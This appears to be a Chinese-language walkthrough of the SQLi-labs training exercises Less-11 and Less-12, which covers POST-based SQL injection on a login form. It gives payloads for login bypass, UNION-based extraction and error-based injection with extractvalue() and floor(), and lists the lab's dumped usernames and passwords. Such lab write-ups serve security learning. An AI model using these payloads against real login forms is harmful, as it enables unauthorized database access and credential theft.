Less-11
POST - 基于错误的- 单引号 - 字符型
LOGIN ATTEMPT FAILED 登录尝试失败
原文链接:https://www.cnblogs.com/zxyzm/p/10492545.html
1. get是从服务器上获取数据,post是向服务器传送数据。
2. GET请求把参数包含在URL中,将请求信息放在URL后面,POST请求通过request body传递参数,将请求信息放置在报文体中。
3. get传送的数据量较小,不能大于2KB。post传送的数据量较大,一般被默认为不受限制。但理论上,IIS4中最大量为80KB,IIS5中为100KB。
4. get安全性非常低,get设计成传输数据,一般都在地址栏里面可以看到,post安全性较高,post传递数据比较隐私,所以在地址栏看不到, 如果没有加密,他们安全级别都是一样的,随便一个监听器都可以把所有的数据监听到。
5. GET请求能够被缓存,GET请求会保存在浏览器的浏览记录中,以GET请求的URL能够保存为浏览器书签,post请求不具有这些功能。
6. HTTP的底层是TCP/IP,GET和POST的底层也是TCP/IP,也就是说,GET/POST都是TCP链接。GET和POST能做的事情是一样一样的。你要给GET加上request body,给POST带上url参数,技术上是完全行的通的。
7.GET产生一个TCP数据包,对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据);POST产生两个TCP数据包,对于POST,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据),并不是所有浏览器都会在POST中发送两次包,Firefox就只发送一次。
1.form表单采用post形式提交
2.服务端接收数据: uname=数据 passwd=数据 ===>推断出 uname=用户名&passwd=密码 ====>又可大致推断数据库的sql语句为
select username,password from users where uname=用户名&passwd
3.type=text 说明是在文本框中都是明文显示。
name 属性规定 input 元素的名称。
name 属性用于对提交到服务器后的表单数据进行标识,或者在客户端通过 JavaScript 引用表单数据。
注释:只有设置了 name 属性的表单元素才能在提交表单时传递它们的值
?id=1 uname=1&passwd=1 uname=1&passwd=1
?id=1' uname=1&passwd=1' =====同理==》uname=1'&passwd=1 (注: & 就相当于 and)
?id=1" uname=1&passwd=1" uname=1"&passwd=1
对比一下源代码,学习学习:
提示:在php中 isset() 函数用于检测变量是否已设置并且非 NULL。也就是说如果 uname&passwd如果有一个为 null,将不会执行sql语句。
(还有一点是在输入框中不要用--+因为+不会进行url编码,因为他不在url地址栏中,可以使用 # %23 -- #)
1' or 1=1 -- #
(所以下面为了方便,将在username输入框中进行注入,而在pasword输入框中统一输入数字1吧,整洁一点,嘿嘿)
爆当前数据库:
-1' union select 1,database()-- #
爆所有的数据库:
-1' union select 1,group_concat(schema_name) from information_schema.schemata-- #
(同理该语句等同于:uname=1&passwd=-1' union select 1,database()-- #)
因为union前面的查询语句为flase,那么必定会查询后面的语句。所以这里你喜欢用哪种写法都可以:
uname=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- #&passwd=1
uname=1&passwd=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- #
uname=1&passwd=-1' union select group_concat(username),group_concat(password) from users-- #
2.修改火狐浏览器代理端口--(这里演示的是英文版的火狐,莫得办法,kali是英文版的,火狐浏览器也只能是英文版的了,苦逼了。。)
uname=1&passwd=1
uname=1&passwd=1'
uname=1&passwd=1"
第一、第三条提示登录失败(回显正常),第二条报错,(Raw和Render下查看都可以,看你习惯了):(&sumbit=Sumbit这一行代码你要是觉得碍眼删掉也可以,不影响结果)
从返回的一部分语句中可以看出是单引号的字符型注入,猜测查询语句:
select username,password from table_name where username='$_POST['uname']' and password='$_POST['passwd']' limit 0,1
构造永真条件测试注入点:
uname=1&passwd=1' or 1=1--+
因limit 0,1
返回了表中第一条的信息:Dumb,Dumb
,即这里存在注入点,原理在Less1中介绍过:or'1'='1'
是一个永真条件(也可以用其他永真条件替代),使查询语句相当于select username,password from users where true
即select username,password from users
,返回所有结果
利用order by
语句判断字段数:
uanme=1&passwd=1' order by 3--+
注意:这里的字段数是查询语句返回的字段数,并非表中的字段数,目的用于猜测查询语句。
所以有两个字段数可供我们操作。
利用union
语句联合查询:
步骤1:用户名和数据库名
uname=1&passwd=1' union select user(),database()--+
用户名root
,数据库名security
步骤2:表名
uname=1&passwd=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+
表名users
步骤3:字段名
uname=1&passwd=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
字段名username
、password
步骤4:数据
uname=1&passwd=1' union select group_concat(username),group_concat(password) from users-- #
Ok,接下来利用myaql函数进行报错注入,这里选取extractvalue()函数:(下面会简化操作)----(注:extractvalue()函数最大爆32位。)
爆库:uname=1' and extractvalue(1,concat(0x7e,(select database()))) --+ &passwd=1&submit=Submit
图不够清,上彩色版:(¬‿¬)
爆表:
uname=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) -- # &passwd=1&submit=Submit
只能查询到前几个表,后面加上 not in() 就可以查到其他的表了,如:
uname=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in('emails')))) -- #&passwd=1&submit=Submit
这里没有发现更多的表了,而users表应该是存放用户信息的,所以我们进行下一步,爆列名:
uname=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) -- #&passwd=1&submit=Submit
发现出来的并不全,当然这里我们也可以直接一步到位:
uname=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()))) -- #&passwd=1&submit=Submit
唉,本着学习的目的就不那么一步到位了,麻烦一点就麻烦一点吧,多种写法多种思路:
因为没有咱们需要的password,username,把一些不需要的列名消除掉:(看来这位博主对mysql数据库里的列很清楚嘛)
uname=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) -- # &passwd=1&submit=Submit
我们发现后面确实有咱们需要的password,username
爆值:
uname=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) -- #&passwd=1&submit=Submit
得,又是数据显示不全(最大显示32位),通过 not in(),我们可以找到所有的用户名和密码
uname=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelinal')))) -- #&passwd=1&submit=Submit
然后继续not in 获取所有的用户名和密码:(参考的博客:https://www.cnblogs.com/meng-yu37/p/12284496.html兄嘚你是真不嫌麻烦)
Dumb:Dumb Angelinal:I-kill-you Dummy:p@ssword secure:crappy stupid:stupidiry superman:genious batman:mob!le admin:admin admin1:admin1 admin2:admin2 admin3:admin3 dhakkan:dumbo admin4:admin4
这里在说一个floor()函数的报错注入,这里的代码,参考 https://blog.csdn.net/weixin_39934520/article/details/105206098 这篇博客
这里之举一个:爆第一个用户的密码:(其他的自行尝试--注意注入的字段只有两个)
uname=1&passwd=1' Union select count(*),concat((select password from users limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+&submit=Submit
突然发现还可以这样?(真秀,不过这样写还能算floor()函数报错注入吗?)
Less-12
基于错误的双引号POST型字符型变形的注入
uname=1&passwd=-1") union select group_concat(username),group_concat(password) from users-- #
uname=1") and extractvalue(1,concat(0x7e,(select database()))) -- #&passwd=1
构造一个能闭合语句而且会报错的payload:1" and extractvalue(1,concat(0x7e,(select database()))) and "
传入后就变成了:@sql="SELECT username,password FROM users WHERE username=("1" and extractvalue(1,concat(0x7e,(select database()))) and " ") and password=($passwd) LIMIT 0,1";
uname=1" and extractvalue(1,concat(0x7e,(select database()))) and " &passwd=1
uname=1" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and " &passwd=1
uname=1" and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) and " &passwd=1
uname=1" and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) and " &passwd=1
通过 not in(),我们可以找到所有的用户名和密码:
Dumb:Dumb Angelinal:I-kill-you Dummy:p@ssword secure:crappy stupid:stupidiry superman:genious batman:mob!le admin:admin admin1:admin1 admin2:admin2 admin3:admin3 dhakkan:dumbo admin4:admin4
例如:
uname=1" and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelinal')))) and " &passwd=1